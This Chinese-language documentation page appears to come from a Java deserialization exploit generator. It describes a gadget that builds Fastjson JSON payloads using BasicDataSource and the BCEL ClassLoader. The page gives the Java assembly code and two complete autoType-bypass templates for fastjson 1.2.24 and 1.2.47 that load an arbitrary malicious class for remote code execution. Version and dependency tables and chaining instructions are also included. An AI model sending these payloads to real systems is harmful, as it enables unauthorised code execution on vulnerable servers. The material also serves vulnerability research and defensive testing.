- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
bcel、dbcp、fastjson <= 1.2.47
生成一段 Fastjson JSON 文本 payload:反序列化时通过 BasicDataSource 的 driverClassLoader 指向 com.sun.org.apache.bcel.internal.util.ClassLoader,再用 driverClassName 传入一段 $$BCEL$$ 编码的字节码类名,createDataSource() 内部 Class.forName 触发 BCEL ClassLoader 加载并实例化任意恶意类,实现 RCE。本 gadget 本身只负责拼装 JSON 字符串模板,不是 Java 原生对象。
- 入口
tags:FastjsonPayload—— 承接 Fastjson payload 入口,产物是交给 FastjsonJSON.parse/parseObject解析的 JSON 文本。 - 衔接
nextTags:BCEL_Expr—— 之后必须接一个产出「BCEL 字节码表达式($$BCEL$$...类名字符串)」的 gadget,典型为 BcelConvert(tags=BCEL_Expr,把byte[]字节码转成 BCEL 类名字符串)。 excludes:无。
核心是两套按 fastjson 版本切换的 JSON 模板,加一个格式化拼装:
public Object getObject(String bcel) {
if ("1.2.24".equals(this.fastjsonVersion)) {
return String.format(template1224, this.dbcpVersion, bcel);
}
return String.format(template1247, this.dbcpVersion, this.dbcpVersion, bcel);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((String)chain.doCreate(context));
}invoke先chain.doCreate(context)取内层对象——注意这里内层 gadget 产出的是一个 String(BCEL 类名,如$$BCEL$$$l$8b...),这与「由内向外」的构建约定一致:下游BcelConvert先把字节码转成 BCEL 字符串,本 gadget 再把该字符串嵌入 JSON。dbcpVersion决定@type用哪种BasicDataSource实现类(tomcat-dbcp / commons-dbcp / dbcp2)。
template1224(fastjson <= 1.2.24 老 autoType 绕过写法):
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x1": {
"@type": "%s", // BasicDataSource 实现类
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "%s" // $$BCEL$$ 恶意类名
}
}: "x2"
}把 BasicDataSource 作为 JSONObject(实为 Map)的 key,序列化/toString 阶段触发 getter,getConnection → createDataSource → createConnectionFactory 里 Class.forName(driverClassName, true, driverClassLoader) 用 BCEL ClassLoader 解码类名并 defineClass。
template1247(fastjson <= 1.2.47 通用 autoType 绕过,java.lang.Class + $ref 缓存写法):
{
"name": { "@type": "java.lang.Class", "val": "%s" }, // 预热 BasicDataSource 进 mapping 缓存
"x1": {
"name": { "@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
"x2": {
"@type": "com.alibaba.fastjson.JSONObject",
"x3": {
"@type": "%s",
"driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
"driverClassName": "%s",
"$ref": "$.x1.x2.x3.connection" // 用 $ref 引用 getConnection() 强制触发
}
}
}
}1.2.47 版本利用 java.lang.Class 的 deserialze 把目标类塞入 MiscUtils.mappings 白名单缓存,绕过 checkAutoType;$ref: $.x1.x2.x3.connection 反序列化后期解析引用时会调用 getConnection(),强制触发数据源初始化 → BCEL 加载。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
fastjsonVersion |
fastjson版本 | 选 1.2.24 或 1.2.47 对应的绕过模板 | 1.2.47 |
1.2.24、1.2.47 |
dbcpVersion |
dbcp版本 | BasicDataSource 实现类全限定名,按目标 dbcp 依赖选 | org.apache.tomcat.dbcp.dbcp.BasicDataSource |
org.apache.tomcat.dbcp.dbcp.BasicDataSource(tomcat-dbcp<=7.0.109)、org.apache.tomcat.dbcp.dbcp2.BasicDataSource(tomcat-dbcp 8.0.0-RC1~10.1.0-M2)、org.apache.commons.dbcp.BasicDataSource(commons-dbcp<=1.4)、org.apache.commons.dbcp2.BasicDataSource(commons-dbcp2<=2.13.0) |
- 适用
fastjson <= 1.2.47(含 1.2.24 与 1.2.47 两套绕过模板)。 - 依赖目标存在某种
BasicDataSource(tomcat-dbcp / commons-dbcp / dbcp2 任一)及bcel。 - BCEL ClassLoader 于
JDK 8u251起被移除,故本链要求JDK 8 < 8u251(见 BcelConvert 依赖)。 - 属纯文本 JSON payload,最终由目标应用的 Fastjson 反序列化点触发,不经过 Java 原生序列化。
自由构件,未直接出现在预设链(usedInChains 为空)。可与 BcelConvert + BytecodeConvert + Exec 手工组合。
- 下游(
nextTags=BCEL_Expr):BcelConvert → 再接 BytecodeConvert → Exec。 - 同族(Fastjson 字节码加载变体):FastjsonBasicDataSourcemybatis(mybatis
UnpooledDataSource版本)、FastjsonC3p0(C3p0 HexSerialized 二次反序列化版本)。